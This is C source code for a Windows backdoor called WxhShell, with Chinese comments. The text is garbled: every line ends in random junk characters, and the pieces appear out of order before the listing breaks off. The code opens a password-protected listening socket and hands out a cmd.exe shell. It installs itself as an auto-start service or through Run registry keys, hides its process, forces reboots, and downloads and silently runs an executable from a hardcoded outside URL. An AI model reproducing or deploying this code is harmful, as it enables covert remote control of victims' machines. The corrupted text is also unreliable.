    if(Boot(SHUTDOWN)) 0Tp,b (; n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C] dK/~Z#r  
    else { A4Sb(X|j  
    closesocket(wsh); ~3'}^V\  
    ExitThread(0); .^hk^r  
    } "1I\~]]  
    break; @ vHj>N  
    } ,2>nr goM  
  // 获取shell A*x3O%zH  
  case 's': { `bAOhaB,/  
    CmdShell(wsh); 25R6>CXsi  
    closesocket(wsh); #]SiS2lM#  
    ExitThread(0); x b6X8:  
    break; pXap<T  
  } M?[~_0_J  
  // 退出 FV~ENpncP  
  case 'x': { RvXK?mL4F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :n0czO6 E  
    CloseIt(wsh); ?j:U<TY)  
    break; d,y%:F 4  
    } H 5,rp4H9  
  // 离开 _@] uHp|  
  case 'q': { Lnk(l2~U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3{/[gX9  
    closesocket(wsh); 0D==0n  
    WSACleanup(); SJ0IEPk  
    exit(1); G _1`NyI  
    break; hf('4^  
        } |i~Ab!*8n  
  } DuvI2Z WP]  
  } Fi3k  
P&kjtl68 Y  
  // 提示信息 #t8{z~t3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'O:QS)  
} x )w6  
  } 0YsBAfRG  
nm}wdel"  
  return; @hVF}ybp  
} Bj1{=Pvl  
T*3>LY+bb  
// shell模块句柄 ]Oh8LcE#BF  
int CmdShell(SOCKET sock) %G43g#pD  
{ P-Up v6J3  
STARTUPINFO si; b~Q8&z2  
ZeroMemory(&si,sizeof(si)); qZ=%r u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lk(.zYaaN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oY(q(W0ze  
PROCESS_INFORMATION ProcessInfo; {3H)c^Q  
char cmdline[]="cmd"; &Cykw$s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ms61FmA4  
  return 0; ZvVrbj&  
} JlMD_pA  
-F338J+J24  
// 自身启动模式 $C^tZFq  
int StartFromService(void) oU[>.Igi  
{ F?y4 L9|e  
typedef struct aMq|xHZ  
{ ]IQ`.:g=9  
  DWORD ExitStatus; 3;-P(G@  
  DWORD PebBaseAddress; @!np 0#  
  DWORD AffinityMask; "j*{7FBqk  
  DWORD BasePriority; r@)_>(  
  ULONG UniqueProcessId; NW%u#MZ[h  
  ULONG InheritedFromUniqueProcessId; .z6"(?~  
}   PROCESS_BASIC_INFORMATION; bsosva+  
.?^a|]  
PROCNTQSIP NtQueryInformationProcess; 9]]isE8r  
CtO;_ ;eD'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0; PV gO;9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vCe]iB  
> 3SZD  
  HANDLE             hProcess; yKb+bm&5:'  
  PROCESS_BASIC_INFORMATION pbi; NpLO_-  
YEiQ`sYKG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lbwc2Q,.-  
  if(NULL == hInst ) return 0; TDY2 M  
<RaUs2Q3.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6aMG!_jC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {1VMwANj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :d{-"RAG"  
!M*$p Qi}  
  if (!NtQueryInformationProcess) return 0; +[_mSt  
PgMU|O7To  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sCrOdJ6|  
  if(!hProcess) return 0; yzH[~O7  
8x/]H(J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "> ]{t[Ib  
xC}9W6  
  CloseHandle(hProcess); l.3|0lopX)  
IMT]!j&Y,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |08'd5  
if(hProcess==NULL) return 0; a\]g lw\;  
=Ul{#R z  
HMODULE hMod; >JUOS2  
char procName[255]; yZc_PC`  
unsigned long cbNeeded; 0*{ 2^\  
*rH# k?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |9*8u>|RC  
}\Ri:&?  
  CloseHandle(hProcess); HCIS4}lQ  
aFf(m-  
if(strstr(procName,"services")) return 1; // 以服务启动 Nfo`Q0\[P  
8Ts_;uId  
  return 0; // 注册表启动 g*-%.fNA  
} u,&[I^WK`C  
|J+oz7l?-  
// 主模块 q7kE+z   
int StartWxhshell(LPSTR lpCmdLine) q1_iV.G<  
{ WH^^.^(i  
  SOCKET wsl; +> Xe_  
BOOL val=TRUE; 2^f6@;=M  
  int port=0; CA[3 R  
  struct sockaddr_in door; A.wuB  
y c:y}"  
  if(wscfg.ws_autoins) Install(); k[<Uxh%  
@q/E)M?  
port=atoi(lpCmdLine); "x~su?KiA  
#[B]\HO  
if(port<=0) port=wscfg.ws_port; zg+6< .Sf  
Y k @/+PE  
  WSADATA data; 6t!PHA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `SM37({c  
*w,C5 f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =4_Er{AT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HB:VpNFn  
  door.sin_family = AF_INET; H:5- S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d,+a}eTP'  
  door.sin_port = htons(port); HpGI\s  
Zv|TvlyT"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uw5AHq).  
closesocket(wsl); =6H  
return 1; EgB$y"fs  
} i8Xz'Sw07  
FhJtiw@  
  if(listen(wsl,2) == INVALID_SOCKET) { bg/a5$t  
closesocket(wsl); |SSe n#PYp  
return 1; !E.CpfaC  
} t;/s^-}  
  Wxhshell(wsl); mnm 7{?#[  
  WSACleanup(); }_|qDMk+  
Bp9_\4  
return 0; D@?Tq,= [  
hj+iB,8  
} 3!qp+i)?  
eFXQ~~gOj  
// 以NT服务方式启动 H7?Sd(U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e754g(|>b  
{ O]VHX![Y$  
DWORD   status = 0; pz0Q@n/X  
  DWORD   specificError = 0xfffffff; UB2Ft=  
H_vGa!_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /Dj-@7.C/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /L^pU-}Z0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <1eD*sC?g  
  serviceStatus.dwWin32ExitCode     = 0; _2~+%{/m,  
  serviceStatus.dwServiceSpecificExitCode = 0; 5lrjM^E|  
  serviceStatus.dwCheckPoint       = 0; H63?Erh>a  
  serviceStatus.dwWaitHint       = 0; 5[0W+W  
,?oC+9w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ./i5VBP5  
  if (hServiceStatusHandle==0) return; `NB6Of*/  
w0&|8y  
status = GetLastError(); Y{D?&x%yq  
  if (status!=NO_ERROR) =x3T+)qCNX  
{ %}[/lIxaE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; # ~(lY}  
    serviceStatus.dwCheckPoint       = 0; %@MO5#)NI  
    serviceStatus.dwWaitHint       = 0; TW~%1G_v  
    serviceStatus.dwWin32ExitCode     = status; /H~]5JZ3-E  
    serviceStatus.dwServiceSpecificExitCode = specificError; }F4%5go  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;|r<mT/,  
    return; JsK_q9]$e  
  } Ev ]oPCeA  
:3A^5}iz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AOv>O52F/Q  
  serviceStatus.dwCheckPoint       = 0; ]47!Zo,  
  serviceStatus.dwWaitHint       = 0; )'i n}M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pv"QgH  
} zXaA5rZO  
2ut)m\)/)  
// 处理NT服务事件,比如:启动、停止 r<OqI*7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p>h}k_s  
{ #&,~5  
switch(fdwControl) [pX cKN  
{ w:h([q4X  
case SERVICE_CONTROL_STOP: MHQM'  
  serviceStatus.dwWin32ExitCode = 0; ZfVw33z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OfPv'rW{x  
  serviceStatus.dwCheckPoint   = 0; ;U[W $w[  
  serviceStatus.dwWaitHint     = 0; 7-("pp YX=  
  { @d_9NOmNT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;MH_pE/m  
  } ZLlAK?N  
  return; @pN6uDD}R  
case SERVICE_CONTROL_PAUSE: yW@YW_2;4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @ S)p{T5G  
  break; 4|h>.^  
case SERVICE_CONTROL_CONTINUE: 8SOfX^;o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wxzh'c#\8  
  break; v-&@c  
case SERVICE_CONTROL_INTERROGATE: F@<^  
  break; "sJ@_lp  
}; }e-D&U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ffG1QvC|M  
} cpu|tK.t  
q85 4k+C  
// 标准应用程序主函数 b&P2VqYgl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @m+FAdA 0  
{ @r]1;KG  
48LzI@H&  
// 获取操作系统版本 u85?f  
OsIsNt=GetOsVer(); f"Kl? IN8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mk[<=k~  
ZO& F15$P  
  // 从命令行安装 PMZ*ECIJU  
  if(strpbrk(lpCmdLine,"iI")) Install(); H+npe'm_Z  
8I<LZ{a10  
  // 下载执行文件 % |G"ZPO?  
if(wscfg.ws_downexe) { LX</xI08W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JlE b  
  WinExec(wscfg.ws_filenam,SW_HIDE); :LLz$[c8  
} qJK-HF:#  
N**" u"CX  
if(!OsIsNt) { j$Vtd &  
// 如果时win9x,隐藏进程并且设置为注册表启动 >K*TgG6!X  
HideProc(); GB{Q)L  
StartWxhshell(lpCmdLine); , %A2wV  
} )F m'i&F_  
else } QpyU%  
  if(StartFromService()) sfR0wEqI  
  // 以服务方式启动 #C+7~ns'  
  StartServiceCtrlDispatcher(DispatchTable); rq|>z.  
else V PI_pK  
  // 普通方式启动 3Y=uBl  
  StartWxhshell(lpCmdLine); fKNDl\SD  
N >k,"=N /  
return 0; MrhJk  
} T1M>N  
B&?xq)%*#  
9&Ny;oy#6  
AME<V-5  
===========================================  \z?-  
X!K:V~WG  
#Ti5G"C  
eb7~\|9l1i  
C8$/z>tQ  
r?}L^bK  
" -z'6.I cO  
# N'_~:H  
#include <stdio.h> =' &TqiIv"  
#include <string.h> l-M .C8N  
#include <windows.h> <^"0A  
#include <winsock2.h> r-ljT<f%J[  
#include <winsvc.h> VE*& t>I  
#include <urlmon.h> YLid2aF  
-9yWf8;  
#pragma comment (lib, "Ws2_32.lib") PY[!H<tt  
#pragma comment (lib, "urlmon.lib") Vc&xXtm[v  
D`NQEt"(  
#define MAX_USER   100 // 最大客户端连接数 NLZUAtx(  
#define BUF_SOCK   200 // sock buffer M 9/J!s  
#define KEY_BUFF   255 // 输入 buffer YiC_,8A~  
0 2q*z>:^  
#define REBOOT     0   // 重启 cLm{gd4 W  
#define SHUTDOWN   1   // 关机 0b+End#mp  
J>^KQ  
#define DEF_PORT   5000 // 监听端口 e@L?jBj8m  
%J :2y  
#define REG_LEN     16   // 注册表键长度 ,e+S7 YX  
#define SVC_LEN     80   // NT服务名长度 ^A$p)`KR  
J4jL%5t  
// 从dll定义API s` o _ER  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =:Lc-y>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6Lz:J:Q)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ::!{f+Up  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &u0on) E  
s3oQ( wC %  
// wxhshell配置信息 g/OL ^A  
struct WSCFG { * NdL4c~  
  int ws_port;         // 监听端口 89[OaT_hs  
  char ws_passstr[REG_LEN]; // 口令 g BV66L  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7r$'2">K(  
  char ws_regname[REG_LEN]; // 注册表键名 <26Jif:  
  char ws_svcname[REG_LEN]; // 服务名 q[TW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ef]60OtP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .h\[7r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d5 U+]g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?o_ D#gG*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,{sCI/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *+>QKR7  
ePe/@g1K*  
}; 7_ao?}g  
~4u[\&Sh  
// default Wxhshell configuration AHdh]pfH  
struct WSCFG wscfg={DEF_PORT, RyZy2^0<  
    "xuhuanlingzhe", EALgBv>#ZL  
    1, T<~?7-O"  
    "Wxhshell", )U:W 9%  
    "Wxhshell", <9aa@c57  
            "WxhShell Service", CYN")J8V  
    "Wrsky Windows CmdShell Service", _rfGn,@BH  
    "Please Input Your Password: ", 3<ry/{#%  
  1, w[s}#Q  
  "http://www.wrsky.com/wxhshell.exe", lvIdYf$?  
  "Wxhshell.exe" @1+({u#B  
    }; OM#eJ,MH<)  
Nx<%'-9)|  
// 消息定义模块 z#t;n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IGcYPL\&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U-lN-/=l6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h|XLL|:  
char *msg_ws_ext="\n\rExit."; (-esUOB.  
char *msg_ws_end="\n\rQuit."; 8B|B[,`  
char *msg_ws_boot="\n\rReboot..."; [:bYd}J  
char *msg_ws_poff="\n\rShutdown..."; mE3M$2}  
char *msg_ws_down="\n\rSave to "; ec"+Il  
QHbjZJ N  
char *msg_ws_err="\n\rErr!"; |9fGn@-  
char *msg_ws_ok="\n\rOK!"; nfA#d-  
LLW xzu!<  
char ExeFile[MAX_PATH]; -%>.Z1uj  
int nUser = 0; ql%]t~HR0  
HANDLE handles[MAX_USER]; 'A#F< x  
int OsIsNt; _U`1BmTC2  
UeN+}`!l  
SERVICE_STATUS       serviceStatus; <#No t1R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KPB^>,T2{  
k)B]|,g7G0  
// 函数声明 7Un5Y[FZo  
int Install(void); _J -3{a  
int Uninstall(void); `T~~yM)q  
int DownloadFile(char *sURL, SOCKET wsh); rd!4u14  
int Boot(int flag); /\|Behif  
void HideProc(void); l|'{Cb   
int GetOsVer(void); 1g bqHxWI  
int Wxhshell(SOCKET wsl); -+Ab[  
void TalkWithClient(void *cs); s.K Hm L3  
int CmdShell(SOCKET sock); ul[+vpH9  
int StartFromService(void); +oRwXO3W  
int StartWxhshell(LPSTR lpCmdLine); 9{XC9 \~  
sboX<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o~={M7 m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $C~OV@I  
Y+ea  
// 数据结构和表定义 FvV:$V|  
SERVICE_TABLE_ENTRY DispatchTable[] = rT{+ h}vO  
{ hF7#i_UN<  
{wscfg.ws_svcname, NTServiceMain}, 4/M~#  
{NULL, NULL} 2N[S*#~*e  
}; I,wgu:}P#  
 v{ *#  
// 自我安装 @G:aW\Z  
int Install(void) N!W2O>VS  
{ 6A*k  
  char svExeFile[MAX_PATH]; = , ^eQZR:  
  HKEY key; T{Y;-m  
  strcpy(svExeFile,ExeFile); @>SirYh  
o@blvW<v7  
// 如果是win9x系统,修改注册表设为自启动 C J#1j>  
if(!OsIsNt) { ^E`SR6_cmj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |XoW Z,K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ph|\%P`>%  
  RegCloseKey(key); PcQqdU^!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nK;c@!~pS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EG3?C  
  RegCloseKey(key); Zh,{e/j  
  return 0; |*-&x:p7O  
    } Kitx%P`i  
  } @h";gN  
} Zm~oV?6  
else { ?5MOp  
IW-lC{hK  
// 如果是NT以上系统,安装为系统服务 (_'Efpg|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =&xN dc  
if (schSCManager!=0) #gd`X|<Ch  
{ KG8Km  
  SC_HANDLE schService = CreateService >)p8^jX   
  ( ^YwTO/Q|  
  schSCManager, -=CZhp  
  wscfg.ws_svcname, z6f N)kw  
  wscfg.ws_svcdisp, ^P !} "  
  SERVICE_ALL_ACCESS, K|g+W t^tQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fkmN?CU{1%  
  SERVICE_AUTO_START, 8 s#2Zv  
  SERVICE_ERROR_NORMAL, ae`6hW2  
  svExeFile, Me XGE  
  NULL, lay)I11- >  
  NULL, T0=%RID%=  
  NULL, E ) iEWc  
  NULL, |SfmQ;  
  NULL `bx}!;{lx  
  ); z),@YJU"z  
  if (schService!=0) 8C(@a[V  
  { !H[K"7w  
  CloseServiceHandle(schService); "hi)p9 _cR  
  CloseServiceHandle(schSCManager); HE0@`(mCpa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 98x&2(N  
  strcat(svExeFile,wscfg.ws_svcname); >p;cbp[ht  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #)hJ.0~3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dZ"w2ho  
  RegCloseKey(key); ROc)LCA  
  return 0; z.%K5vrO>  
    } MmPLJ  
  } s 8 c#_  
  CloseServiceHandle(schSCManager); WY 'QhieH  
} F.[E;gOTo  
} q"O4}4`  
%;-] HI  
return 1; u~y0H  
} fce~a\y0  
r[ }5<S Q  
// 自我卸载 ,8^QV3  
int Uninstall(void) /$NZj" #  
{ o+j~~P  
  HKEY key; <+\ w.!  
M!j: 2dT"  
if(!OsIsNt) { _cw~N p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # 2qDn^s  
  RegDeleteValue(key,wscfg.ws_regname); oYn|>`+6:y  
  RegCloseKey(key); Kk?C   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;('(Yn7~  
  RegDeleteValue(key,wscfg.ws_regname); \sZT[42  
  RegCloseKey(key); 0V_dg |.  
  return 0; 6mAaFDI,R  
  } +P5\N,,7R  
} %SHgXd#X  
} yRF %SWO  
else { {InD/l'v6n  
?@uyqi~:U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :t8?!9g  
if (schSCManager!=0) VQ,;~^Td  
{ f;7I{Z\<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NplWF\5y  
  if (schService!=0) .lt|$["  
  { -mur` tC  
  if(DeleteService(schService)!=0) {  ^D.u   
  CloseServiceHandle(schService); ft" t  
  CloseServiceHandle(schSCManager); Z\9DtvV  
  return 0; gfY1:0  
  } BhcTPQsW  
  CloseServiceHandle(schService); MJDW-KL-  
  } 44p?x8(z*  
  CloseServiceHandle(schSCManager); n#Y=y#  
} %{*A@jQsg  
} -m"9v%>Y  
2:4:Q[{A  
return 1; JsZLBq*lP  
} 9\J.AAk~/  
<<5x"W(,  
// 从指定url下载文件 LI`H,2Km  
int DownloadFile(char *sURL, SOCKET wsh) [')C]YQb=  
{ ,N`cH\  
  HRESULT hr; e*?@6E  
char seps[]= "/"; )GC9%mF;  
char *token; _ a`J>~$  
char *file; ys~oJb~  
char myURL[MAX_PATH];  ZFH;  
char myFILE[MAX_PATH]; :*6#(MX  
,u&K(Z%  
strcpy(myURL,sURL); |Y")$pjz  
  token=strtok(myURL,seps); "gCqb;^  
  while(token!=NULL) CL)*cu6zG  
  { N" =$S|Gs  
    file=token; 9-( \\$%  
  token=strtok(NULL,seps); 8v V<A*`  
  } 2C59fXfd  
~( ~ y=M  
GetCurrentDirectory(MAX_PATH,myFILE); WPpS?  
strcat(myFILE, "\\"); _ \LP P_  
strcat(myFILE, file); t 8,VRFV  
  send(wsh,myFILE,strlen(myFILE),0); 4/J"}S  
send(wsh,"...",3,0); FIEA 'kUy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OKO+(>A Q  
  if(hr==S_OK) |K,[[D<R  
return 0; .s8u?1b  
else &o]ic(74c?  
return 1; &s>E~M0+J  
?Tr\r1s]  
} Q GoBugU  
'Xb?vOU  
// 系统电源模块 :5, k64'D  
int Boot(int flag) La 9:qpj  
{ ?Fp2W+M j  
  HANDLE hToken; sb"h:i>O4  
  TOKEN_PRIVILEGES tkp; >= VCKN2'j  
nSR<(-j!  
  if(OsIsNt) { 1 LUvs~Qu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @5:#J !  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }*>xSb1  
    tkp.PrivilegeCount = 1; *:tfz*FG$G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tB/'3#o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,\^RyHg  
if(flag==REBOOT) { uJ9 hU`h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4ynGXJmMlR  
  return 0; U6K!FOND  
} h( MNH6 B1  
else { `\Ye:$q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]~d!<x#+  
  return 0; #-{^={p "  
} /)/>/4O  
  } &(/QJ`*8  
  else { mF`%Z~}b  
if(flag==REBOOT) { %Xjg/5G-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &++tp5  
  return 0; Q35jJQ$<`  
} %RD%AliO}K  
else { ?j|i|WUD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GX,)~Syw*  
  return 0; }F=lG-x  
} Y'eE({)<K  
} hreG5g9{  
,WgEl4  
return 1; [\,Jy8t)\  
} 8;GuJP\  
#.W^7}H  
// win9x进程隐藏模块 XZH\HK)K-]  
void HideProc(void) Q8?:L<A  
{ )FSa]1t;x  
S<Od`I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HBiUp$(mB  
  if ( hKernel != NULL ) ka?EXF:  
  { F7lzc)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "Kc1@EX=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +V;@)-   
    FreeLibrary(hKernel); 6X[Mn2wYW  
  } >))K%\p   
k#DMd9  
return; 4B$|UG  
} y\@INA^  
h;JO"J@H  
// 获取操作系统版本 ^udl&>  
int GetOsVer(void) .ovG_O  
{ y41,T&ja  
  OSVERSIONINFO winfo; AEE&{ _[S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7 DW_G  
  GetVersionEx(&winfo); L,_Z:\^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o3,}X@p  
  return 1; J e.%-7f  
  else :O/QgGZN$  
  return 0; n?}7vz;  
} G' 0JK+=o  
Ta NcnAY>9  
// 客户端句柄模块 [|tlTk   
int Wxhshell(SOCKET wsl) 3fd?xhWbN  
{ Cd'`rs}3  
  SOCKET wsh; Ee097A?1vj  
  struct sockaddr_in client; vTq [Xe"  
  DWORD myID; B'8T+qvA  
|h^]`= 3  
  while(nUser<MAX_USER) f <pJ_  
{ Jm[_X  
  int nSize=sizeof(client); u5rHQA0%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -W.bOr  
  if(wsh==INVALID_SOCKET) return 1; Apbgm[m|{  
q:<vl^<j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P&5kO;ia  
if(handles[nUser]==0) JL!:`#\  
  closesocket(wsh); PsO>&Te2  
else /33m6+  
  nUser++; EWK?vs  
  } v%E~sX&CG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h%8C_m A  
Y[. f`Ei2  
  return 0; wuKr 9W9Xa  
} ;&`6b:ug  
Hd89./v`:  
// 关闭 socket Mt\.?V:  
void CloseIt(SOCKET wsh) ZYs?65.  
{ <8YIQA  
closesocket(wsh); !P@4dG  
nUser--; u]MQ(@HHF  
ExitThread(0); fir#5,*q|  
} W-<`Vo'  
8 Az|SJ<  
// 客户端请求句柄 {Y1&GO;  
void TalkWithClient(void *cs) I]6,hygs  
{ $ 9 k5a  
3"LT''  
  SOCKET wsh=(SOCKET)cs; "w{$d&+?ag  
  char pwd[SVC_LEN]; _WN\9<  
  char cmd[KEY_BUFF]; 0;tu}]jnN  
char chr[1]; >Y=qSg>Ik  
int i,j; $/"QYSF  
0 `$fs.4c  
  while (nUser < MAX_USER) { Z=9gok\  
&}!AjA)  
if(wscfg.ws_passstr) { SlI wLv^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2U& +K2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x<1t/o  
  //ZeroMemory(pwd,KEY_BUFF); yM# %UeZ\  
      i=0; OPJ(ub  
  while(i<SVC_LEN) { ?e2G{0V  
oq[r+E-]$@  
  // 设置超时 C=8IQl[^e  
  fd_set FdRead; `*y%[J,I#  
  struct timeval TimeOut; 3v>w$6  
  FD_ZERO(&FdRead); ih(Al<IS  
  FD_SET(wsh,&FdRead); EL(B XJrx{  
  TimeOut.tv_sec=8; .\mkgAlyaM  
  TimeOut.tv_usec=0; o,[Em<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~mC>G 4y$a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dn:1Mtj-  
_71&".A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q=t_m(:0  
  pwd=chr[0]; E'^ny4gL  
  if(chr[0]==0xd || chr[0]==0xa) { 8u7QF4 Id  
  pwd=0; 9gac7(2`)  
  break; lY[\eQ 1:  
  } Qb8Z+7  
  i++; o]@'R<F(u  
    } ?G 'sb}.  
K&BaGrR  
  // 如果是非法用户,关闭 socket ?^WX] SAl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5V8`-yO9  
} cp2a @  
*0x!C8*`Xe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  TUq ,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e, }{$HStZ  
d#|%h] 6  
while(1) { G6pR?K+  
V)]lca  
  ZeroMemory(cmd,KEY_BUFF); CPcB17!  
RmJ|g<  
      // 自动支持客户端 telnet标准   J~)JsAXAI  
  j=0; uvJmEBL:  
  while(j<KEY_BUFF) { V\=%u<f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); py$i{v%  
  cmd[j]=chr[0]; xtK}XEhG!  
  if(chr[0]==0xa || chr[0]==0xd) { 6\USeZh  
  cmd[j]=0; @?5pY^>DK  
  break; @./ @"mR<  
  } *0Wkz'=U  
  j++; eN0lJ~  
    } ?;GXFKy  
\-D[C+1(  
  // 下载文件 jJAr #|  
  if(strstr(cmd,"http://")) { Z_s]2y1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F%$l cQ04%  
  if(DownloadFile(cmd,wsh)) F`CDv5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  `l  
  else dQ Lo,S8(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kl]l[!c7$  
  } s){R/2O3F  
  else { )kIjZ  
